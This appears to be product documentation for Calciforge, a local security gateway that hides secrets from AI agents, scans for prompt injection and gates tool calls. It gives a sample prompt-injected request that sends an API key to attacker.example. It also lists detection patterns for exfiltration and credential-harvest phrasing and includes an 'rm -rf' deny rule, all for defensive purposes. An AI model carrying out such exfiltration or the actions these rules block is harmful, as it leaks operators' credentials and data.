What it gives you
Calciforge sits between your AI agents and the rest of the world. The gateway covers seven overlapping concerns; you can adopt any subset.
Security gateway
The core product is the security gateway: a local network enforcement point for
traffic that enters Calciforge-controlled paths. Agents use it through the
model gateway, explicit fetch/tool integration, audited recipes, and, for
tested plaintext HTTP clients, HTTP_PROXY. Instead of hoping each agent
remembers the right rules, Calciforge puts the rules at visible request
boundaries where secrets, destinations, model routes, and tool permissions can
be checked before traffic leaves the machine.
Ambient HTTPS_PROXY is deliberately not presented as full protection unless
it points at Calciforge’s MITM listener and the target runtime trusts the
Calciforge CA. Standard HTTPS proxying uses CONNECT tunnels; the experimental
hudsucker-backed MITM mode terminates those tunnels so Calciforge can scan and
rewrite decrypted request/response bodies. The installer enables that listener
and generates a persistent local CA by default, while runtime-specific CA trust
and HTTPS_PROXY rollout remain explicit.
For agents that do not work with cooperative proxy env, Calciforge’s
security boundary shifts to model-gateway routing, explicit MCP/fetch tools,
audited recipe wrappers, or future container/VM isolation profiles that deny
egress except through Calciforge services.
The gateway protects in three places:
- Before outbound requests — substitute
{{secret:NAME}}only at approved destinations, scan request bodies for exfiltration language, and fail closed when a referenced secret cannot be resolved. - Before inbound content reaches the model — scan fetched pages, search results, email bodies, command output, and other tool results for prompt-injection and hidden-instruction patterns.
- Before tools execute — ask the
clashdpolicy sidecar whether a command, file write, network call, or other agent action should be allowed, denied, or sent for review.
The default adversary detector is intentionally editable. Calciforge
ships a built-in Starlark policy for deterministic checks such as
zero-width text, hidden DOM, base64-encoded English instructions,
credential-harvest phrasing, exfiltration language, and concrete
tool-policy bypass patterns. Operators can copy that policy into
/etc/calciforge/scanner-policies/default-scanner.star, edit it, add
more Starlark checks, or attach a remote HTTP scanner for heavier DLP
and LLM-based semantic review.
[[security.scanner_checks]]
kind = "starlark"
path = "/etc/calciforge/scanner-policies/default-scanner.star"
fail_closed = true
max_callstack = 64
[[security.scanner_checks]]
kind = "remote_http"
url = "http://127.0.0.1:9801"
fail_closed = true
Starlark policy files can call regex_match(pattern, content) and
base64_decoded_regex_match(pattern, content) for bounded Rust-backed
matching. Remote scanners use a simple /scan HTTP contract; the
included example wraps an OpenAI-compatible classifier with an editable
prompt for foreign-language, poetry/style-shift, fictional-framing, and
multi-step manipulation cases that are too semantic for local regexes.
See the security gateway docs for configuration details and the red-team fixtures for the contributor-friendly suite used to harden detection over time.
Secret management
Your agent never holds the actual API key. The gateway resolves
through the configured local secret backend and substitutes at the
request boundary. In the default deployment that backend is
fnox. Calciforge uses
~/.config/calciforge as its app config home by default, and its fnox
working directory defaults to the same path. To manage the same store
manually, run fnox set/list/tui from ~/.config/calciforge or set
CALCIFORGE_FNOX_DIR to another directory.
# fnox.toml — the secret store the gateway resolves through
[secrets]
OPENAI_API_KEY = { provider = "calciforge-local", value = "age-encryption.org/v1..." }
ANTHROPIC_API_KEY = { provider = "1password", value = "claude" }
NPM_TOKEN = { default = "value-from-env-or-prompt" }
For new values, prefer the local paste UI. It gives you a short-lived browser form and keeps the value out of Telegram, Matrix, WhatsApp, and other chat history:
paste-server OPENAI_API_KEY "OpenAI API key"
# prints http://127.0.0.1:PORT/paste/<token>
paste-server --bulk env-import "bulk .env import"
# prints http://127.0.0.1:PORT/bulk/<token>
From chat, !secret input NAME and !secret bulk start the same
short-lived paste server and bind to the detected LAN interface when possible
so the link can be opened from a browser that can reach the Calciforge host.
!secure input and !secure bulk remain supported aliases. If LAN detection
fails, the paste server keeps the localhost default. This is for your local
network, not the public internet.
The URLs expire after five minutes and are single-use. The bulk URL
accepts a whole .env-shaped paste and returns per-key results
(stored / already-exists / illegal-name / malformed).
Direct paste-server CLI use binds to localhost by default. For a
stable LAN hostname/IP, set CALCIFORGE_PASTE_PUBLIC_HOST on the
Calciforge service. For a reverse-proxy or tunnel URL, set
CALCIFORGE_PASTE_PUBLIC_BASE_URL and terminate authentication at that
proxy. Reverse proxies also need a stable listener, so set
CALCIFORGE_PASTE_BIND, for example 127.0.0.1:58083 for same-host
proxies or 0.0.0.0:58083 for a trusted LAN proxy. Do not expose the
paste server directly to the open internet.
Calciforge treats externally reachable URLs as operator-owned configuration.
For local web surfaces, keep binds conservative and set the advertised URL to
the address users can actually open from their device. The model gateway
dashboard link uses [proxy].gateway_ui_url, or CALCIFORGE_GATEWAY_UI_URL
during install. Paste links use CALCIFORGE_PASTE_PUBLIC_BASE_URL for a
reverse proxy or tunnel and CALCIFORGE_PASTE_PUBLIC_HOST for a stable
LAN/Tailscale host. Calciforge will publish those URLs in chat commands, but it
does not manage DNS, Tailscale, WireGuard, TLS, or reverse-proxy auth.
Paste storage uses the Calciforge fnox working directory, defaulting to
~/.config/calciforge, while provider definitions live in fnox’s global
config at ~/.config/fnox/config.toml. On macOS, the installer creates a
calciforge-local Keychain provider when fnox has no provider configured.
On Linux, it creates a local age provider with a dedicated Ed25519 key at
~/.config/calciforge/secrets/fnox-age-ed25519 and injects
FNOX_AGE_KEY_FILE into the Calciforge service. To bring your own provider,
preconfigure fnox globally or set CALCIFORGE_FNOX_PROVIDER_NAME,
CALCIFORGE_FNOX_PROVIDER_TYPE, CALCIFORGE_FNOX_AGE_RECIPIENT, or
FNOX_AGE_KEY_FILE before running the installer. Protect the generated age
key like any other local decrypt key. The installer warms the fnox write path
with a temporary secret by default so macOS Keychain or provider approval
prompts happen during setup instead of the first chat-driven paste. Set
CALCIFORGE_FNOX_WARMUP=false to skip that preflight.
Outbound traffic gating
The gateway substitutes {{secret:NAME}}
references at the moment of forwarding — and only if the destination
is on the per-secret allowlist. Placeholders are allowed in URLs,
headers, and supported request bodies, including query parameters such
as ?api_key={{secret:OPENAI_API_KEY}}. The
gateway runs manual-credential detection before substitution, so raw
agent-supplied credentials such as ?api_key=sk-... are blocked while
proxy-managed placeholders can still be resolved safely.
# /etc/calciforge/security-proxy.toml
[secret_destination_allowlist]
OPENAI_API_KEY = ["api.openai.com", "*.openai.com"]
ANTHROPIC_API_KEY = ["api.anthropic.com"]
GITHUB_TOKEN = ["api.github.com", "uploads.github.com"]
Without an allowlist entry: substitution is allowed everywhere
(opt-in tightening). With an entry: anything else returns 403 before
the resolver is even consulted, so a prompt-injected agent calling
https://attacker.example/?key={{secret:OPENAI_API_KEY}}
fails before the secret value is loaded into memory.
Secrets created through the paste UI or /control/secrets/set can also
carry dynamic allowed_destinations metadata. Static TOML policy and
that sidecar metadata are enforced as an intersection: either source can
narrow where a secret may be substituted, and neither can widen the
other. If the sidecar metadata file is unreadable while a request needs
destination-scoped substitution, the gateway fails closed rather than
falling back to unrestricted substitution.
If IronClaw detects a manually supplied credential, Calciforge returns a clear agent-readable block page and structured headers:
X-Calciforge-Policy: ironclaw.manual_credentialX-Calciforge-Operator-Approval: requiredX-Calciforge-Override-Supported: operator_scopedX-Calciforge-Override-Header: X-Calciforge-Override
A scoped operator override may be supplied with
X-Calciforge-Override: ironclaw.manual_credential:<token>, where the
token matches SECURITY_PROXY_MANUAL_CREDENTIAL_OVERRIDE_TOKEN on the
proxy. Calciforge treats all X-Calciforge-* request headers as
control-plane metadata and strips them before forwarding upstream. The
default is fail-closed: operator approval is required unless the
deployment explicitly sets
manual_credential_override_requires_operator_approval = false (or the
environment override
SECURITY_PROXY_MANUAL_CREDENTIAL_OVERRIDE_REQUIRES_OPERATOR_APPROVAL=false).
Outbound bodies are also scanned for exfiltration-attempt patterns
(POST to https://…, send to https://…, curl … https://…,
beacon to, etc.) and PII-harvest phrasing (send me your password,
what is your api key). Generic high-entropy secret-shape detection
(JWT-shaped strings, sk-* keys, etc.) was deliberately removed
during the channel-integration cut and is on the
roadmap.
The scanner pipeline is configurable. The default policy now runs through
builtin:calciforge/default-scanner.star, so the rule set can be copied,
edited, replaced, or ordered alongside other Starlark checks. Starlark
policies can call regex_match(pattern, content) and bounded
base64_decoded_regex_match(pattern, content) helpers for Rust-backed matching
without a sidecar service. Optional remote HTTP scanners can host heavier DLP
or LLM classifier passes, and the example LLM classifier ships with an editable
default prompt. The built-in default measured about 299µs per warm scan in a
local release build; remote LLM checks are explicit because they add materially
more latency.
Inbound traffic gating and tool policy
Every upstream response is scanned for prompt-injection payloads before being returned to the agent. Configurable verdicts (Block / Review / Allow) routed via the policy plane.
For tool calls, Calciforge adapts the
clash policy engine through a small
HTTP daemon shipped in this repo as
clashd.
The daemon is not the product; it is the policy sidecar that lets
agent runtimes ask “allow, deny, or review?” before a tool executes.
# clash-policy.star — Starlark policy served by clashd
def evaluate(ctx):
if ctx.tool == "Bash" and "rm -rf" in ctx.args.get("command", ""):
return Verdict.deny("destructive command requires manual approval")
if ctx.identity != "owner" and ctx.tool == "Write":
return Verdict.review("non-owner write — flag for review")
return Verdict.allow()
Model gateway
Calciforge can expose an OpenAI-compatible local endpoint while routing
requests to named providers, explicit model routes, local models, and
synthetic routing selectors. Model identifiers resolve through one path for
gateway requests and !model: a name may be a concrete model, a
[[model_shortcuts]] alias, or a synthetic routing selector. Shortcuts may
point to routing selectors, and routing selector members may use shortcuts.
The synthetic routing vocabulary is:
- Alloy — blend among interchangeable models by weighted or round-robin selection. Implemented today with context-window validation: every constituent declares a context window, and the alloy can only advertise a ceiling every constituent can satisfy.
- Cascade — ordered fallback on provider failure. The behavior
exists inside alloy execution and as named
[[cascades]]. - Dispatcher — choose by request shape, such as “smallest sufficient model.” This is the size-routing primitive for mixing small local models with larger remote models.
Synthetic routing selectors may compose other routing selectors as a DAG.
Calciforge flattens the selected plan at request time, rejects direct cycles
during initialization, and rejects alias-induced cycles before provider routing.
CLI-backed subscriptions are agents, not gateway models. Use kind =
"codex-cli", kind = "claude-cli", kind = "kimi-cli", or a generic
kind = "exec" / kind = "cli" adapter when a local executable owns its own
login, session state, or native workflow.
# /etc/calciforge/config.toml — model gateway
[proxy]
enabled = true
bind = "127.0.0.1:8080"
backend_type = "http"
backend_url = "https://api.openai.com/v1"
backend_api_key_file = "/etc/calciforge/secrets/openai-key"
# Builtin HTTP is a minimal compatibility path. For production, prefer an
# external gateway engine such as Helicone or a gateway-owned LiteLLM route.
[proxy.token_estimator]
strategy = "auto"
# tokenizer = "o200k_base" # force a tiktoken base for non-OpenAI model IDs
safety_margin = 1.10
# Pattern-based provider routing — first match wins after model_routes.
[[proxy.providers]]
id = "anthropic"
url = "https://api.anthropic.com/v1"
api_key_file = "/etc/calciforge/secrets/anthropic-key"
models = ["claude-*", "anthropic/*"]
timeout_seconds = 120
[[proxy.providers]]
id = "local-ollama"
url = "http://127.0.0.1:11434/v1"
models = ["local/*", "qwen/*", "ollama/*"]
# Optional request-time hook for single-resident local runtimes such as large
# Ollama models. Calciforge runs it before forwarding to this provider.
on_switch = "/usr/local/bin/calciforge-ollama-switch"
# Explicit routes take precedence over provider pattern lists.
[[proxy.model_routes]]
pattern = "coding/default"
provider = "anthropic"
# Chat/API aliases shown by `!model`; aliases may target concrete models,
# synthetic routing selectors, or local model IDs.
[[model_shortcuts]]
alias = "sonnet"
model = "anthropic/claude-sonnet-4.6"
[[model_shortcuts]]
alias = "local"
model = "local/qwen3-35b"
# Alloys pick among equivalent models by weighted or round-robin strategy.
[[alloys]]
id = "balanced"
name = "Balanced remote blend"
strategy = "weighted"
[[alloys.constituents]]
model = "anthropic/claude-sonnet-4.6"
weight = 70
context_window = 200000
[[alloys.constituents]]
model = "openrouter/google/gemini-flash-1.5"
weight = 30
context_window = 100000
[local_models]
enabled = true
current = "qwen3-35b"
[local_models.mlx_lm]
host = "127.0.0.1"
port = 8888
[[local_models.models]]
id = "qwen3-35b"
hf_id = "mlx-community/Qwen2.5-35B-Instruct-8bit"
display_name = "Qwen 35B local"
[[dispatchers]]
id = "smart-local"
name = "Use local until the prompt outgrows it"
[[dispatchers.models]]
model = "local/qwen3-35b"
context_window = 32768
[[dispatchers.models]]
model = "anthropic/claude-sonnet-4.6"
context_window = 200000
The full gateway reference is
docs/model-gateway.md.
Named cascades, dispatchers, and token-window fit checks are captured
in
docs/rfcs/model-gateway-primitives.md.
Subscription-backed agents and models
Calciforge can call local CLIs such as Codex, Claude Code, Kimi Code, OpenClaw, and other scriptable agents through direct agent adapters. Use an agent adapter when the CLI should keep its own identity, workflow, session state, approvals, and native flags. Do not configure subscription CLIs as model gateway selectors; gateway models are provider/local/synthetic routes, while CLI-backed tools are agents.
That distinction matters for subscriptions and OAuth. The vendor CLI can own its local browser login, refresh tokens, project state, and provider-specific flags while Calciforge only sees a configured command, stdin prompt, stdout answer, timeout, and optional downstream session. The example wrappers are intentionally small because provider CLIs and terms change; operators should validate the installed CLI version and subscription terms before making a CLI-backed agent part of their default route.
Read the agent adapter notes and
Codex/OpenClaw integration guide for
direct codex-cli, claude-cli, kimi-cli, openclaw-channel, cli, and
ACP examples.
Secured recipes and orchestrators
Calciforge can also wrap tools that are not stable enough, or not shaped correctly, for first-class adapter support. The working vocabulary is:
- Recipes — documented, security-aware command configurations for local tools such as npcsh, opencode profiles, or one-off media agents. Recipes can still use Calciforge identity checks, timeouts, stdin prompt delivery, stderr redaction, audit logs, controlled artifact directories, and tested proxy wrappers where the upstream runtime supports them.
- Adapters — first-class protocol integrations used when Calciforge must understand upstream-specific behavior, such as event streams, final-answer parsing, approval pauses, callbacks, or native session state.
- Orchestrators — planned async work backends where Calciforge submits work, monitors status, relays progress, and delivers final summaries or artifacts instead of pretending every request is a synchronous chat completion.
This is the path for a more “batteries included” agent ecosystem without making every upstream CLI a permanent support burden. Operators can start with a recipe, then promote it to a named adapter only if the upstream protocol proves stable and the extra code buys safety or usability.
The first working piece is kind = "artifact-cli" for tools that produce
files: images from npcsh-style multimodal workflows, screenshots from
orchestrators, test reports, logs, PDFs, or generated patch summaries.
Calciforge creates a per-run artifact directory, writes the user task on
stdin, exposes the directory as {artifact_dir} and
CALCIFORGE_ARTIFACT_DIR, validates produced files, and sends a text
fallback through existing channels. Telegram and Matrix already use the
new internal outbound-message envelope; the text fallback names attachments
without exposing local filesystem paths, and native media upload can be added
channel by channel.
[[agents]]
id = "npcsh-image"
kind = "artifact-cli"
command = "/usr/local/bin/npcsh-vixynt-stdin"
args = ["{artifact_dir}/image.png"]
timeout_ms = 180000
The command above is a recipe shape, not a promise that every npcsh subcommand has stable flags. The Calciforge contract is the secured stdin/artifact wrapper and channel delivery path. If an upstream tool only accepts prompts in argv, use a small local wrapper and document the weaker process-listing tradeoff.
The broader plan for async orchestrators, native media delivery, and richer agent outputs is tracked in the agent recipes and orchestrators roadmap. For any recipe or first-class adapter, the separate agent runtime contract describes how the agent learns Calciforge’s CLI-first guidance, optional MCP tools, artifact directory, proxy/model surfaces, and future agent-facing APIs.
Agent-facing tools (MCP and CLI)
A small CLI and optional MCP server expose secret names to agents
but never return values — the only way for an agent to use a secret is to
emit {{secret:NAME}} and let the gateway resolve
on the way out. Designed so a compromised agent can enumerate names
and fail to retrieve values.
Calciforge’s default agent guidance should be CLI-first:
calciforge-secrets list and calciforge-secrets ref NAME work for any
runtime that can run a command. MCP is an opt-in convenience for runtimes that
support it and have been configured explicitly. Today, discovery is
process-scoped: it sees the fnox names available to the MCP server or CLI
process. Calciforge enforces per-secret destination allowlists at substitution
time, but does not yet enforce per-agent secret discovery/use ACLs. That policy
layer is on the roadmap.
// ~/.claude/mcp-config.json
{
"mcpServers": {
"calciforge-secrets": {
"command": "/usr/local/bin/mcp-server",
"transport": "stdio"
}
}
}
calciforge-secrets list
calciforge-secrets ref BRAVE_API_KEY
Multi-channel chat
Today: Telegram, Matrix, WhatsApp, Signal, and text/iMessage. Voice is a separate proxy passthrough surface today, not a settled per-chat-channel capability; richer voice input, push-to-talk channels, and audio artifacts remain roadmap work.
Per-channel setup guides (config reference + TOML examples tested against the live schema in CI):
- Telegram — long-poll, no open port required
- Matrix — HTTP long-poll; note: no E2EE
- Signal — embedded
zeroclawlabs::SignalChannelviasignal-cli-rest-api - WhatsApp — embedded WhatsApp Web session
- Text/iMessage — Linq webhook receiver for iMessage/RCS/SMS
Calciforge treats channel UI and chat transport separately. You can use Telegram as a dependable control surface for agent/model selection and secret paste forms while carrying the main conversation in Matrix, WhatsApp, Signal, or another channel. State is keyed by identity, so a model or active-agent selection made in one channel applies to the same operator in other channels.
See Channel-Native UI for visual examples of current Telegram buttons, bridge-safe Matrix text fallback, and the WhatsApp/RCS/iMessage capability targets. The examples are rendered mockups unless explicitly labeled as captured client screenshots.
Agent backends, identities, and routing rules are documented in the Agents, Identities, and Routing guide.
# /etc/calciforge/config.toml — channel configuration
[[channels]]
kind = "telegram"
enabled = true
bot_token_file = "/etc/calciforge/secrets/telegram-bot-token"
allowed_users = ["7000000001", "7000000002"]
[[channels]]
kind = "matrix"
enabled = true
homeserver = "https://matrix.example.com"
access_token_file = "/etc/calciforge/secrets/matrix-access-token"
room_id = "!roomid:example.com"
allowed_users = ["@alice:example.com"]
[[channels]]
kind = "whatsapp"
enabled = true
whatsapp_session_path = "/var/lib/calciforge/whatsapp/session.db"
allowed_numbers = ["+15555550100"]
[[channels]]
kind = "sms"
enabled = true
sms_linq_api_token_file = "/etc/calciforge/secrets/linq-token"
sms_from_phone = "+15555550001"
sms_webhook_listen = "0.0.0.0:18798"
sms_webhook_path = "/webhooks/sms"
allowed_numbers = ["+15555550100"]
Per-identity routing: each user gets their own active agent and audit trail. Per-agent secret ACLs are planned; current secret enforcement is value hiding plus destination allowlists.
Sensitive system operations
A separate authenticated daemon (host-agent) handles ZFS / systemd
/ PCT / git / exec calls behind mTLS. Agents never get a shell
directly; they call the daemon, which validates the operation
shape against allowlist rules and runs through narrow sudoers
wrappers. The host side relies on Unix permissions for enforcement and
writes structured audit records suitable for append-only logs and
rotation.
Quick install (Mac)
For current development builds:
git clone https://github.com/bglusman/calciforge
cd calciforge
bash scripts/install.sh
For release packaging and Docker trial paths, see Packaging and Install Options.
Three services land as launchd agents:
clashdon:9001— aclash-backed policy sidecarsecurity-proxyon:8888— substitution + scanning + injectioncalciforge— channel router (needs onboarding for an LLM provider)
After editing config or moving an agent, run:
calciforge doctor
The installer runs calciforge doctor --no-network after local service
installation when a config file exists. doctor validates the config,
checks referenced secret files without printing values, catches stale
active-agent/model state, warns when an agent appears to point back into
the local model gateway by accident, validates model-gateway provider routing
and referenced provider key files, warns if the Calciforge daemon has
ambient proxy env, checks explicit subprocess-agent proxy env,
warns about externally managed agent daemons whose proxy environment is
unverified, validates configured scanner policy files and rule syntax,
and can probe configured endpoints.
Use calciforge doctor --no-network when you want a local-only check.
Do not put proxy variables in ~/.zshrc for the Calciforge daemon itself;
that can route Calciforge’s own provider and control-plane traffic through
its security proxy. Do not assume CLI agents can be protected by generic
HTTP_PROXY or HTTPS_PROXY; Codex, Claude, ACPX, npm-backed adapters, and
streaming clients may use CONNECT, WebSockets, or browser-backed auth flows
that can break unless the runtime has been tested with Calciforge’s proxy and,
for HTTPS, trusts the MITM CA. Use model-gateway routes, explicit fetch/tool
integration, audited recipes, tested MITM proxy setup, or runtime-specific
wrappers for traffic that must pass through Calciforge.
For externally managed agent daemons that Calciforge does not launch, configure
a tested proxy path on the agent process or its service manager and validate it
against security-proxy logs:
# External agent process environment
export HTTP_PROXY=http://127.0.0.1:8888
export HTTPS_PROXY=http://127.0.0.1:8888
export NO_PROXY=localhost,127.0.0.1,::1
Managed OpenClaw installs also write OpenClaw browser proxy settings, because Chrome does not reliably inherit ambient proxy env from the gateway process.
Status
Solo-operator usable and actively hardening, multi-user team mode in progress. Mac-tested, Linux-ready (CI runs Ubuntu, daily-use includes macOS and a headless Linux service host). Treat new deployments as operator-reviewed until their channel credentials, fnox store, model gateway providers, and synthetic routing selectors pass smoke tests.
The status summary above is the site-facing snapshot of what works today and what is still in flight. Public roadmap ideas live in the roadmap notes, with product-interface direction in the UX roadmap.